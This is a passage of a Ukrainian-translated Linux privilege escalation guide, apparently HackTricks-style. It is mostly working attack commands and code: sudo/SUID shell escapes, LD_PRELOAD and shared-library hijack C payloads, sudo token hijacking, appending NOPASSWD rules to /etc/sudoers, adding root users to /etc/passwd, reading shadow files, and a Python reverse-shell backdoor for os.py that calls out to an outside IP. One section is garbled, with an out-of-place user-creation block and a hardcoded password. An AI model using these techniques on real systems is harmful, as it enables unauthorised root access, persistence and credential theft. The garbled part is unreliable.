користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається виконувати brute-force для користувачів. ## Зловживання записуваним $PATH ### $PATH Якщо ви виявите, що можете **записувати в якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor у доступній для запису папці** під назвою якоїсь команди, яка буде виконана іншим користувачем (root бажано) і яка **не завантажується з папки, що знаходиться перед** вашою доступною для запису папкою в $PATH. ### SUDO and SUID Вам може бути дозволено виконувати деякі команди через sudo або вони можуть мати suid bit. Перевірте це за допомогою: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` Деякі **неочікувані команди дозволяють вам читати і/або записувати файли або навіть виконувати команду.** Наприклад: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` ### NOPASSWD Конфігурація Sudo може дозволити користувачеві виконувати певну команду з правами іншого користувача без знання пароля. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` У цьому прикладі користувач `demo` може запускати `vim` як `root`; тепер тривіально отримати shell, додавши ssh key у root directory або викликавши `sh`. ``` sudo vim -c '!sh' ``` ### SETENV Ця директива дозволяє користувачеві **встановити змінну середовища** під час виконання чогось: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` Цей приклад, **based on HTB machine Admirer**, був **vulnerable** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипту від імені root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV збережено через sudo env_keep → root shell Якщо sudoers зберігає `BASH_ENV` (наприклад, `Defaults env_keep+="ENV BASH_ENV"`), ви можете використати безінтерактивну поведінку запуску Bash, щоб виконати довільний код від імені root при виклику дозволеної команди. - Чому це працює: Для безінтерактивних оболонок, Bash оцінює `$BASH_ENV` і підвантажує цей файл перед запуском цільового скрипта. Багато правил sudo дозволяють запускати скрипт або оболонкову обгортку. Якщо `BASH_ENV` зберігається sudo, ваш файл буде підвантажений з привілеями root. - Вимоги: - Наявне правило sudo, яке ви можете виконати (будь-яка ціль, що викликає `/bin/bash` у безінтерактивному режимі, або будь-який bash-скрипт). - `BASH_ENV` присутній у `env_keep` (перевірте за допомогою `sudo -l`). - PoC: ```bash cat > /dev/shm/shell.sh <<'EOF' #!/bin/bash /bin/bash EOF chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` - Зміцнення: - Видаліть `BASH_ENV` (та `ENV`) з `env_keep`, віддавайте перевагу `env_reset`. - Уникайте shell wrappers для команд, дозволених через sudo; використовуйте мінімальні бінарні файли. - Розгляньте логування вводу/виводу sudo та оповіщення, коли використовуються збережені env vars. ### Шляхи обходу виконання sudo **Перейти** щоб читати інші файли або використати **symlinks**. Наприклад у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less ``` ```bash ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` Якщо використовується **wildcard** (\*), це ще простіше: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Sudo command/SUID binary without command path Якщо **дозвіл sudo** надано для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_ ви можете експлуатувати це, змінивши змінну PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` Цю техніку також можна використовувати, якщо бінарний файл **suid** **виконує іншу команду без вказування шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID бінарний файл із шляхом до команди Якщо **suid** бінарний файл **виконує іншу команду, вказуючи шлях**, то можна спробувати **експортувати функцію**, названу так само, як команда, яку викликає suid файл. Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_, потрібно спробувати створити функцію з такою ж назвою і експортувати її: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` Тоді, коли ви викликаєте suid binary, ця функція буде виконана ### LD_PRELOAD & **LD_LIBRARY_PATH** Змінна середовища **LD_PRELOAD** використовується для вказання однієї або кількох розділюваних бібліотек (.so files), які мають бути завантажені завантажувачем перед усіма іншими, включно зі стандартною C-бібліотекою (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. Однак, щоб підтримувати безпеку системи та запобігти зловживанню цією функціональністю, особливо з **suid/sgid** виконуваними файлами, система накладає певні умови: - Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, у яких реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). - Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки в стандартних шляхах, які також мають suid/sgid. Ескалація привілеїв може статися, якщо ви маєте можливість виконувати команди з `sudo` і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися та визнаватися навіть під час запуску команд через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. ``` Defaults env_keep += LD_PRELOAD ``` Зберегти як **/tmp/pe.c** ```c #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } ``` Потім **скомпілюйте його** за допомогою: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` Нарешті, запустіть **escalate privileges** ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] > Подібний privesc можна використати, якщо зловмисник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, у якому шукатимуться бібліотеки. ```c #include #include static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); } ``` ```bash # Compile & execute cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection Коли ви натрапляєте на binary з правами **SUID**, який здається підозрілим, добре перевірити, чи він правильно підвантажує файли **.so**. Це можна зробити, виконавши наступну команду: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` Наприклад, поява помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. Щоб експлуатувати це, слід створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, що міститиме наступний код: ```c #include #include static void inject() __attribute__((constructor)); void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` Цей код, після компіляції та запуску, має на меті підвищити привілеї шляхом маніпуляцій з правами доступу до файлів та виконання shell з підвищеними привілеями. Скомпілюйте наведений вище C-файл у shared object (.so) файл за допомогою: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до компрометації системи. ## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid something.so => /lib/x86_64-linux-gnu/something.so # The SUID also loads libraries from a custom location where we can write readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` Тепер, коли ми знайшли SUID binary, який завантажує library з folder, куди ми можемо писати, створімо library у тій папці з необхідною назвою: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include #include static void hijack() __attribute__((constructor)); void hijack() { setresuid(0,0,0); system("/bin/bash -p"); } ``` Якщо ви отримуєте помилку на кшталт ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` це означає, що згенерована вами бібліотека має містити функцію з назвою `a_function_name`. ### GTFOBins [**GTFOBins**](https://gtfobins.github.io) — це кураторський список Unix бінарників, які можуть бути використані атакуючим для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **only inject arguments** in a command. Проєкт збирає легітимні функції Unix бінарників, які можна зловживати для break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, та полегшення інших post-exploitation tasks. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' {{#ref}} https://gtfobins.github.io/ {{#endref}} {{#ref}} https://gtfoargs.github.io/ {{#endref}} ### FallOfSudo Якщо ви маєте доступ до `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи знаходить він спосіб експлуатувати будь-яке sudo rule. ### Reusing Sudo Tokens У випадках, коли у вас є **sudo access**, але немає пароля, ви можете escalate privileges шляхом очікування виконання sudo команди і подальшого hijacking the session token. Requirements to escalate privileges: - Ви вже маєте shell як користувач "_sampleuser_" - "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (за замовчуванням це тривалість sudo token, яка дозволяє використовувати `sudo` без введення пароля) - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 - `gdb` доступний (ви можете завантажити його) (Ви можете тимчасово ввімкнути `ptrace_scope` з `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно модифікувавши `/etc/sysctl.d/10-ptrace.conf` і встановивши `kernel.yama.ptrace_scope = 0`) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - **second exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_, **який належить root і має setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` - **третій exploit** (`exploit_v3.sh`) буде **створювати sudoers file**, який робить **sudo tokens вічними та дозволяє всім користувачам використовувати sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ Якщо у вас є **write permissions** у цій теці або для будь-якого файла, створеного в ній, ви можете використати бінарник [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **create a sudo token for a user and PID**.\ Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell як цей користувач з PID 1234, ви можете **obtain sudo privileges** без необхідності знати пароль, виконавши: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можна читати лише користувачу root і групі root**.\ **Якщо** ви можете **прочитати** цей файл, ви можете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` Якщо ви можете записувати, ви можете зловживати цим дозволом ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` Ще один спосіб зловживати цими дозволами: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS Існують альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD; не забудьте перевірити його конфігурацію в `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для ескалації привілеїв і ви отримали shell у контексті цього користувача, ви можете **create a new sudo executable**, який виконуватиме ваш код від імені root, а потім команду користувача. Потім **modify the $PATH** в контексті користувача (наприклад додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, виконався ваш sudo executable. Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Або запустивши щось на кшталт: ```bash cat >/tmp/sudo < /tmp/privesc /usr/bin/sudo "\$@" EOF chmod +x /tmp/sudo echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other # From the victim zsh echo $PATH sudo ls ``` ## Спільна бібліотека ### ld.so The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**. If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\ Перегляньте, **як експлуатувати цю неправильну конфігурацію** на наступній сторінці: {{#ref}} ld.so.conf-example.md {{#endref}} ### RPATH ``` level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` Копіювання lib у `/var/tmp/flag15/` призведе до того, що програма використовуватиме її в цьому місці, як вказано у змінній `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` Потім створіть зловмисну бібліотеку в `/var/tmp` за допомогою `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { char *file = SHELL; char *argv[] = {SHELL,0}; setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` ## Можливості Linux capabilities надають **підмножину доступних root-привілеїв процесу**. Це фактично розбиває root **привілеї на менші й відмінні одиниці**. Кожну з цих одиниць можна окремо призначати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities і як їх зловживати**: {{#ref}} linux-capabilities.md {{#endref}} ## Права доступу до директорії У директорії біт **"execute"** означає, що відповідний користувач може **"cd"** у цю папку.\ Біт **"read"** означає, що користувач може **переглядати** **файли**, а біт **"write"** означає, що користувач може **видаляти** та **створювати** нові **файли**. ## ACLs Списки контролю доступу (Access Control Lists, ACLs) представляють другий шар дискреційних дозволів, здатний **перевизначати традиційні ugo/rwx дозволи**. Ці дозволи покращують контроль доступу до файлу чи директорії, дозволяючи або забороняючи права окремим користувачам, які не є власниками або не входять до групи. Такий рівень **деталізації забезпечує більш точне керування доступом**. Подальші деталі можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Надайте** користувачу "kali" права читання і запису для файлу: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` **Отримати** файли з певними ACLs із системи: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Відкриті shell sessions У **старих версіях** ви можете **hijack** деяку **shell** сесію іншого користувача (**root**).\ У **найновіших версіях** ви зможете **connect** лише до screen sessions **свого власного користувача**. Проте, ви можете знайти **цікаву інформацію всередині сесії**. ### screen sessions hijacking **Список screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) **Приєднатися до сесії** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` ## tmux sessions hijacking Це була проблема зі **старими версіями tmux**. Я не зміг перехопити сеанс tmux (v2.1), створений користувачем root, будучи непривілейованим користувачем. **Список сеансів tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` ![](<../../images/image (837).png>) **Приєднатися до сесії** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself ls -la /tmp/dev_sess #Check who can access it rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` Перевірте **Valentine box from HTB** як приклад. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Всі SSL та SSH keys, згенеровані на системах на базі Debian (Ubuntu, Kubuntu, тощо) між вереснем 2006 і 13 травня 2008 можуть бути уражені цією вразливістю.\ Ця помилка виникає при створенні нового ssh key в цих ОС, оскільки **було можливих лише 32,768 варіантів**. Це означає, що всі можливості можна обчислити і **маючи ssh public key, ви можете знайти відповідний private key**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Цікаві значення конфігурації - **PasswordAuthentication:** Вказує, чи дозволена автентифікація за паролем. За замовчуванням — `no`. - **PubkeyAuthentication:** Вказує, чи дозволена автентифікація за публічним ключем. За замовчуванням — `yes`. - **PermitEmptyPasswords**: Коли дозволена автентифікація за паролем, вказує, чи сервер дозволяє вхід в облікові записи з порожнім рядком пароля. За замовчуванням — `no`. ### PermitRootLogin Вказує, чи може root входити через ssh, за замовчуванням — `no`. Можливі значення: - `yes`: root може увійти, використовуючи password та private key - `without-password` or `prohibit-password`: root може увійти тільки за допомогою private key - `forced-commands-only`: root може увійти лише за допомогою private key і якщо вказані опції command - `no` : ні ### AuthorizedKeysFile Вказує файли, які містять public keys, що можуть використовуватись для автентифікації користувача. Він може містити токени на кшталт `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою **private** ключа користувача "**testusername**", ssh порівняє public key вашого ключа з тими, що знаходяться в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (without passphrases!) замість залишати ключі на сервері. Отже, ви зможете виконати **jump** через ssh **to a host** і звідти **jump to another** host, **using** **the key** що розташований на вашому **initial host**. Вам потрібно встановити цю опцію в `$HOME/.ssh.config` так: ``` Host example.com ForwardAgent yes ``` Зверніть увагу, що якщо `Host` встановлено як `*`, кожного разу, коли користувач підключається до іншої машини, той хост зможе отримати доступ до ключів (що є проблемою безпеки). Файл `/etc/ssh_config` може **перевизначати** ці **опції** та дозволити або заборонити цю конфігурацію.\ Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (default is allow). Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} ## Цікаві файли ### Файли профілів Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються коли користувач запускає нову оболонку**. Отже, якщо ви можете **записати або змінити будь-який із них you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` ### Файли Passwd/Shadow Якщо знайдено якийсь дивний скрипт профілю, перевірте його на **чутливі деталі**. У залежності від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або існувати резервні копії. Тому рекомендується **знайти всі** та **перевірити, чи можете їх прочитати**, щоб дізнатися **чи є в них хеші**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` У деяких випадках ви можете знайти **password hashes** всередині файлу `/etc/passwd` (або еквівалентного) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Доступний для запису /etc/passwd Спочатку згенеруйте пароль за допомогою однієї з наступних команд. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` ### Додайте користувача `hacker` і встановіть згенерований пароль Запустіть ці команди як root або через sudo. Згенерований пароль нижче вказаний у кодовому блоці. Згенерований пароль: `V9r$3kTq8Lp!wF2a` ``` PASSWORD='V9r$3kTq8Lp!wF2a' useradd -m -s /bin/bash hacker echo "hacker:$PASSWORD" | chpasswd ``` Після цього ви зможете увійти як `hacker` з паролем `V9r$3kTq8Lp!wF2a`. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Наприклад: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Тепер ви можете використовувати команду `su` з `hacker:hacker` Як альтернативу, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\ УВАГА: це може погіршити поточну безпеку машини. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` ПРИМІТКА: На BSD-платформах `/etc/passwd` знаходиться в `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **конфігураційний файл сервісу**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` Наприклад, якщо на машині запущено сервер **tomcat** і ви можете **modify the Tomcat service configuration file inside /etc/systemd/,** тоді ви можете змінити рядки: ``` ExecStart=/path/to/backdoor User=root Group=root ``` Your backdoor буде виконаний наступного разу, коли tomcat буде запущено. ### Перевірте папки Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Ймовірно, ви не зможете прочитати останню, але спробуйте) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` ### Дивні місця/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null #Files owned by other users in folders owned by me for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done #Files owned by root, readable by me but not world readable find / -type f -user root ! -perm -o=r 2>/dev/null #Files owned by me or world writable find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; do printf " Group $g:\n"; find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null done done ``` ### Файли, змінені за останні хвилини ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` ### Sqlite DB файли ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` ### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml файли ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` ### Приховані файли ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` ### **Скрипти/бінарні файли в PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` ### **Веб-файли** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` ### **Резервні копії** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` ### Known files containing passwords Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, що можуть містити паролі**.\ **Інший цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — програма з відкритим кодом, що використовується для отримання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. ### Logs Якщо ви можете читати логи, можливо, ви зможете знайти в них **цікаву/конфіденційну інформацію**. Чим дивніший лог, тим цікавішим він (ймовірно).\ Також деякі "**bad**" сконфігуровані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як пояснено в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Щоб **читати логи, група** [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. ### Файли shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist ~/.profile # if it exists, read once if the two above don't exist /etc/profile # only read if none of the above exists ~/.bashrc # if it exists, read it every time you start a new shell ~/.bash_logout # if it exists, read when the login shell exits ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` ### Generic Creds Search/Regex Вам також слід перевіряти файли, які містять слово "**password**" у своєму **імені** або всередині **вмісту**, а також перевіряти IPs та emails всередині logs, або hashes regexps.\ Я не буду перелічувати тут, як усе це робити, але якщо вам цікаво, можете переглянути останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Записувані файли ### Python library hijacking Якщо ви знаєте **звідки** буде виконуватись python-скрипт і ви **можете записувати в** ту папку або можете **modify python libraries**, ви можете змінити OS library і backdoor it (якщо ви можете писати туди, де виконуватиметься python-скрипт, скопіюйте та вставте бібліотеку os.py). To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Експлуатація logrotate Уразливість в `logrotate` дозволяє користувачам із **правами запису** на лог-файл або його батьківські каталоги потенційно отримати підвищені привілеї. Це відбувається тому, що `logrotate`, який часто запускається як **root**, можна змусити виконати довільні файли, особливо в каталогах на кшталт _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, але й у будь-якому каталозі, де застосовується ротація логів. > [!TIP] > Ця уразливість торкається версії `logrotate` `3.18.0` і старіших Більш детальну інформацію про уразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Цю уразливість можна експлуатувати за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). Ця уразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви знаходите можливість змінювати логи, перевірте, хто їх обслуговує, і чи можна підвищити привілеї, 